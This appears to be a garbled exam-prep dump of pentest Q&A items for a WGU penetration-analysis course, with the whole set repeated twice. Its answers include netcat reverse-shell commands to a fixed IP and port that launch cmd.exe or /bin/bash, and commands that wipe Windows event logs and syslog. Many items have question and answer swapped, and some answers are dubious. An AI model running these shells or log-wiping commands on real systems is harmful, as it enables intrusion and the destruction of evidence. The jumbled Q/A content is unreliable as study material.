WGU D484 DKN1 PENETRATION ANALYSIS
ACTUAL EXAM PAPER 2026 QUESTIONS
WITH ANSWERS GRADED A+
◍ NMAP script syntax?.
Answer: nmap -- script <name of script>ex: Nmap will sniff the network for
60 seconds using the eth0 interface, list any new targets that it sniffs, and
then scan those targets:nmap -- script=targets-sniffer --
script-args=newtargets,targets-sniffer.timeout=60s,targets-sniffer.iface=eth0
◍ eam members are being introduced during sprint zero in the project kickoff
meeting. The person being introduced is a member of the scrum team,
responsible for writing feature logic and attending sprint ceremonies. Which
role is the team member playing?.
Answer: Software developer
◍ What is a base-standard method to present Pentest findings?.
Answer: PTES (Penetration Testing Execution Standard)not all
vulnerabilities are exploitable during the activity. you should classify and
organize vulnerabilities, exploits, and final results
◍ Explain Pharming.
Answer: attacker entices the victim into navigating to a malicious web page
that has been set up to look official. ictim interacts with the site in order to
provide their sensitive information to the attacker, by filling out a fake
"login" form with their username and password.
◍ What is the nc syntax to open a shell on Windows and Linux?.
Answer: Windows = -e cmd.exeex. nc.exe 192.168.100.113 4444 -e
cmd.exeLinux = -e /bin/bashex. nc 192.168.100.113 4444 -e /bin/bash
◍ Which type of requirement specifies that credit card numbers are designated
, as highly sensitive confidential personal information?.
Answer: Data classification requirement
◍ What is SSRF?.
Answer: Server Side Request ForgeryAn attack where an attacker takes
advantage of the trust established between the server and the resources it can
access, including itself. SSRF attack may provide access to some internal
resources that are otherwise unavailable to us
◍ RFID cloning.
Answer: During a red-team exercise, a penetration tester obtains an
employee's access badge. The tester uses the badge's information to create a
duplicate for unauthorized entry. Which of the following best describes this
action?
◍ Explain .NET and .NET Framework.
Answer: .NET = cross-platform open-source software development
framework and the successor of the original framework, actually called
".NET Framework"..NET Framework = actively maintained but is not
open-source and primarily oriented toward Windows development.
◍ What are ways to clear big chunks of log files?.
Answer: Meterpreter: can issue the command, clearev , which will clear all
Windows event logs.Command line interface (CLI) in Windows, you can
also clear individual log categories: wevtutil cl Application will clear the
application log.Linux system, you can use one of several methods that you'd
use to clear any text file. For example, to clear the syslog use: echo "" >
/var/log/syslog.
◍ The scrum team is attending their morning meeting, which is scheduled at
the beginning of the work day. Each team member reports what they
accomplished yesterday, what they plan to accomplish today, and if they
have any impediments that may cause them to miss their delivery deadline.
Which scrum ceremony is the team participating in?.
Answer: Daily Scrum
,◍ Target 1: CVSS Score = 4 and EPSS Score = 0.6.
Answer: A penetration tester finished a security scan and uncovered
numerous vulnerabilities on several hosts. Based on the targets' EPSS and
CVSS scores, which of the following targets is the most likely to get
attacked?Host | CVSS | EPSS Target 1 | 4 | 0.6 Target 2 | 2 | 0.3 Target 3 | 1 |
0.6 Target 4 | 4.5 | 0.4
◍ responder.py-I eth0-wP.
Answer: A penetration tester needs to collect information over the network
for further steps in an internal assessment. Which of the following would
most likely accomplish this goal?
◍ Creating a scheduled task.
Answer: As part of an engagement, a penetration tester wants to maintain
access to a compromised system after rebooting. Which of the following
techniques would be best for the tester to use?
◍ Tailgating.
Answer: Which of the following is a term used to describe a situation in
which a penetration tester bypasses physical access controls and gains
access to a facility by entering at the same time as an employee?
◍ Cross-Site Scripting (XSS).
Answer: During a web application assessment, a penetration tester identifies
an input field that allows JavaScript injection. The tester inserts a line of
JavaScript that results in a prompt, presenting a text box when browsing to
the page going forward. Which of the following types of attacks is this an
example of?
◍ Which programming language is highly susceptible to buffer overflow
vulnerabilities?.
Answer: C++
◍ Which secure coding best practice uses well-tested, publicly available
algorithms to hide product data from unauthorized access?.
Answer: Cryptographic practices
, ◍ what are some built-in windows commands to enumerate hosts?.
Answer: net view: view shares from other network hostsarp -a : view arp
cachenet user: list all users on the machineipconfig /displaydns: display
resolved DNS names
◍ Explain OSINT tool theHarvester (CLI).
Answer: Automates gathering things like Subdomain namesEmployee
namesEmail addressesPGP key entriesyou must specify the source:ex.
theHarvester -d comptia.org -b linkedin
◍ Service Discovery.
Answer: A penetration tester is conducting reconnaissance on a target
network. The tester runs the following
Nmapcommand:nmap-sv-sT-p-192.168.1.0/24. Which of the following
describes the most likely purpose of this scan?
◍ Team members are being introduced during sprint zero in the project kickoff
meeting. The person being introduced will be a facilitator, will try to remove
roadblocks and ensure the team is communicating freely, and will be
responsible for facilitating all scrum ceremonies. Which role is the team
member playing?.
Answer: Scrum master
◍ Crack user accounts using compromised hashes..
Answer: During a security assessment, a penetration tester wants to
compromise user accounts without triggering IDS/IPS detection rules.
Which of the following is the most effective way for the tester to accomplish
this task?
◍ Validate the results and remove false positives..
Answer: During a penetration test, the tester uses a vulnerability scanner to
collect information about any possible vulnerabilities that could be used to
compromise the network. The tester receives the results and then executes
the following command: snmpwalk-v 2c-c public 192.168.1.23 Which of the
following is the tester trying to do based on the command they used?
ACTUAL EXAM PAPER 2026 QUESTIONS
WITH ANSWERS GRADED A+
◍ NMAP script syntax?.
Answer: nmap -- script <name of script>ex: Nmap will sniff the network for
60 seconds using the eth0 interface, list any new targets that it sniffs, and
then scan those targets:nmap -- script=targets-sniffer --
script-args=newtargets,targets-sniffer.timeout=60s,targets-sniffer.iface=eth0
◍ eam members are being introduced during sprint zero in the project kickoff
meeting. The person being introduced is a member of the scrum team,
responsible for writing feature logic and attending sprint ceremonies. Which
role is the team member playing?.
Answer: Software developer
◍ What is a base-standard method to present Pentest findings?.
Answer: PTES (Penetration Testing Execution Standard)not all
vulnerabilities are exploitable during the activity. you should classify and
organize vulnerabilities, exploits, and final results
◍ Explain Pharming.
Answer: attacker entices the victim into navigating to a malicious web page
that has been set up to look official. ictim interacts with the site in order to
provide their sensitive information to the attacker, by filling out a fake
"login" form with their username and password.
◍ What is the nc syntax to open a shell on Windows and Linux?.
Answer: Windows = -e cmd.exeex. nc.exe 192.168.100.113 4444 -e
cmd.exeLinux = -e /bin/bashex. nc 192.168.100.113 4444 -e /bin/bash
◍ Which type of requirement specifies that credit card numbers are designated
, as highly sensitive confidential personal information?.
Answer: Data classification requirement
◍ What is SSRF?.
Answer: Server Side Request ForgeryAn attack where an attacker takes
advantage of the trust established between the server and the resources it can
access, including itself. SSRF attack may provide access to some internal
resources that are otherwise unavailable to us
◍ RFID cloning.
Answer: During a red-team exercise, a penetration tester obtains an
employee's access badge. The tester uses the badge's information to create a
duplicate for unauthorized entry. Which of the following best describes this
action?
◍ Explain .NET and .NET Framework.
Answer: .NET = cross-platform open-source software development
framework and the successor of the original framework, actually called
".NET Framework"..NET Framework = actively maintained but is not
open-source and primarily oriented toward Windows development.
◍ What are ways to clear big chunks of log files?.
Answer: Meterpreter: can issue the command, clearev , which will clear all
Windows event logs.Command line interface (CLI) in Windows, you can
also clear individual log categories: wevtutil cl Application will clear the
application log.Linux system, you can use one of several methods that you'd
use to clear any text file. For example, to clear the syslog use: echo "" >
/var/log/syslog.
◍ The scrum team is attending their morning meeting, which is scheduled at
the beginning of the work day. Each team member reports what they
accomplished yesterday, what they plan to accomplish today, and if they
have any impediments that may cause them to miss their delivery deadline.
Which scrum ceremony is the team participating in?.
Answer: Daily Scrum
,◍ Target 1: CVSS Score = 4 and EPSS Score = 0.6.
Answer: A penetration tester finished a security scan and uncovered
numerous vulnerabilities on several hosts. Based on the targets' EPSS and
CVSS scores, which of the following targets is the most likely to get
attacked?Host | CVSS | EPSS Target 1 | 4 | 0.6 Target 2 | 2 | 0.3 Target 3 | 1 |
0.6 Target 4 | 4.5 | 0.4
◍ responder.py-I eth0-wP.
Answer: A penetration tester needs to collect information over the network
for further steps in an internal assessment. Which of the following would
most likely accomplish this goal?
◍ Creating a scheduled task.
Answer: As part of an engagement, a penetration tester wants to maintain
access to a compromised system after rebooting. Which of the following
techniques would be best for the tester to use?
◍ Tailgating.
Answer: Which of the following is a term used to describe a situation in
which a penetration tester bypasses physical access controls and gains
access to a facility by entering at the same time as an employee?
◍ Cross-Site Scripting (XSS).
Answer: During a web application assessment, a penetration tester identifies
an input field that allows JavaScript injection. The tester inserts a line of
JavaScript that results in a prompt, presenting a text box when browsing to
the page going forward. Which of the following types of attacks is this an
example of?
◍ Which programming language is highly susceptible to buffer overflow
vulnerabilities?.
Answer: C++
◍ Which secure coding best practice uses well-tested, publicly available
algorithms to hide product data from unauthorized access?.
Answer: Cryptographic practices
, ◍ what are some built-in windows commands to enumerate hosts?.
Answer: net view: view shares from other network hostsarp -a : view arp
cachenet user: list all users on the machineipconfig /displaydns: display
resolved DNS names
◍ Explain OSINT tool theHarvester (CLI).
Answer: Automates gathering things like Subdomain namesEmployee
namesEmail addressesPGP key entriesyou must specify the source:ex.
theHarvester -d comptia.org -b linkedin
◍ Service Discovery.
Answer: A penetration tester is conducting reconnaissance on a target
network. The tester runs the following
Nmapcommand:nmap-sv-sT-p-192.168.1.0/24. Which of the following
describes the most likely purpose of this scan?
◍ Team members are being introduced during sprint zero in the project kickoff
meeting. The person being introduced will be a facilitator, will try to remove
roadblocks and ensure the team is communicating freely, and will be
responsible for facilitating all scrum ceremonies. Which role is the team
member playing?.
Answer: Scrum master
◍ Crack user accounts using compromised hashes..
Answer: During a security assessment, a penetration tester wants to
compromise user accounts without triggering IDS/IPS detection rules.
Which of the following is the most effective way for the tester to accomplish
this task?
◍ Validate the results and remove false positives..
Answer: During a penetration test, the tester uses a vulnerability scanner to
collect information about any possible vulnerabilities that could be used to
compromise the network. The tester receives the results and then executes
the following command: snmpwalk-v 2c-c public 192.168.1.23 Which of the
following is the tester trying to do based on the command they used?
